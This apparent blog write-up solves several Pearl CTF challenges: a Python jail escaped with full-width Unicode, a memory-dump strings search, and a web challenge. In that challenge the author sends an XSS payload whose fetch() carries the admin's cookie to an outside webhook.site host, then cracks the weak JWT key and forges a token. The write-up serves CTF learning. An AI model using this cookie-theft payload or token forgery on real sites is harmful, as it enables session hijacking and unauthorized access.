..

Pearl CTF Writeup

Scrutiny (OSINT series - 1)

We’re given a YouTube link, which shows a video about a hacker on the news. If your YouTube doesn’t play the video automatically after loading, you will see that the flag is in the thumbnail.

To get the flag, you can grab the image from the YouTube API. YouTube generates several thumbnails for a video with predictable filenames, and we can access them through its API:

https://img.youtube.com/vi/<insert-youtube-video-id-here>/0.jpg
https://img.youtube.com/vi/<insert-youtube-video-id-here>/1.jpg
https://img.youtube.com/vi/<insert-youtube-video-id-here>/2.jpg
https://img.youtube.com/vi/<insert-youtube-video-id-here>/3.jpg

Then, copy the flag by hand.

b4by_jail

We’re given the source code:

#!/usr/local/bin/python
import time
flag="pearl{f4k3_fl4g}"
blacklist=list("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~`![]{},<>/123456789")
def banner():
    file=open("txt.txt","r").read()
    print(file)
def check_blocklist(string):
    for i in string:
        if i in blacklist:
            return(0)
    return(1)
def main():
    while (1):
        banner()
        cmd=input(">>> ")
        if(check_blocklist(cmd)):
            try:
                print(eval(cmd))
            except:
                print("Sorry no valid output to show.")
        else:
            print("Your sentence has been increased by 2 years for attempted escape.")

main()

This is a basic python jail challenge, where we have to bypass the blocklist check. We note that alphanumerics are not available, but python actually interpretes unicode characters differently. When unicode characters are passed into variable names, or functions, they are normalized. This means that we can insert the same string with different encoding charset and expect the same results, thus bypassing the blocklist.

To solve the challenge, I used full-width characters to print the flag variable.

print(flag)

Flag: pearl{it_w4s_t00_e4sy}

Hungry Cat

We’re given a memory dump file. As usual, we run strings to see if we can find an easy flag, and we do.

┌──(benkyou㉿kali)-[~/ctf/pearl-ctf]
└─$ strings dump_1.raw | grep pearl
appearleta
functionimpearlingb(aimpearlingb,bimpearlingb)
pearlib
7. pearl{y0ur_f3lin3_fr1end_wont_g0_hungry}
pearl-intern

Flag: pearl{y0ur_f3lin3_fr1end_wont_g0_hungry}

Learn HTTP

The website allows the user to insert a HTTP response, which can then be rendered in the user’s browser, or be sent to an admin. If we’re able to get XSS, then we could steal the admin’s cookies to gain unauthorized access.

Sending a HTTP response with a simple <script>alert(1)</script> payload in the response body showed that we are able to get XSS. So we craft a payload to steal the admin’s cookie:

<script>fetch('https://webhook.site/eefae811-02d8-4d85-8d35-b0ffcd744d6e?cookie='+document.cookie)</script>

Make sure that the response has a valid header and everything is URL encoded, so our actual payload will look like this:

HTTP%2F1.1%20200%20OK%0D%0A%0D%0A%3Cscript%3Efetch%28%27https%3A%2F%2Fwebhook%2Esite%2Feefae811%2D02d8%2D4d85%2D8d35%2Db0ffcd744d6e%3Fcookie%3D%27%2Bdocument%2Ecookie%29%3C%2Fscript%3E`

Once it’s sent to the admin, we catch a request from the server.

Catched the request

token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwiaWF0IjoxNzA5OTk0MTAxfQ.wVC7njaIAnQer_drWp28U87TLLzIGUg_pbBgoKARhEw

We get the admin’s token, but id is set to 1 and we need it to be 2 to access /flag.

app.get("/flag", (req, res) => {
    let token = req.cookies.token
    try {
        var decoded = jwt.verify(token, process.env.SECRET)
        if (decoded.id != 2) {
            return res.status(200).send("You are not verified")
        }

        return res.status(200).send(process.env.FLAG)
    } catch {
        return res.status(200).send("You are not verified")
    }
})

So, we will need to sign our own payload with the id set to 2. Here, the JWT token can be cracked if a weak signing key was used.

 ┌──(benkyou㉿kali)-[~/ctf/pearl-ctf]
└─$ john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
banana           (?)
1g 0:00:00:00 DONE (2024-03-09 09:30) 14.28g/s 58514p/s 58514c/s 58514C/s 123456..oooooo
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Signing our JWT token with banana, we get eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiaWF0IjoxNzA5OTk0MTAxfQ.CfuoCBLZl5EsrewWYs-uEw6IONc5D6Q6fFs2ciI1KTY. Finally, use the newly signed JWT token to access /flag.

Use signed cookie to access flag

Flag: pearl{c4nt_s3nd_th3_resP0n53_w1th0ut_Sani7iz1ng}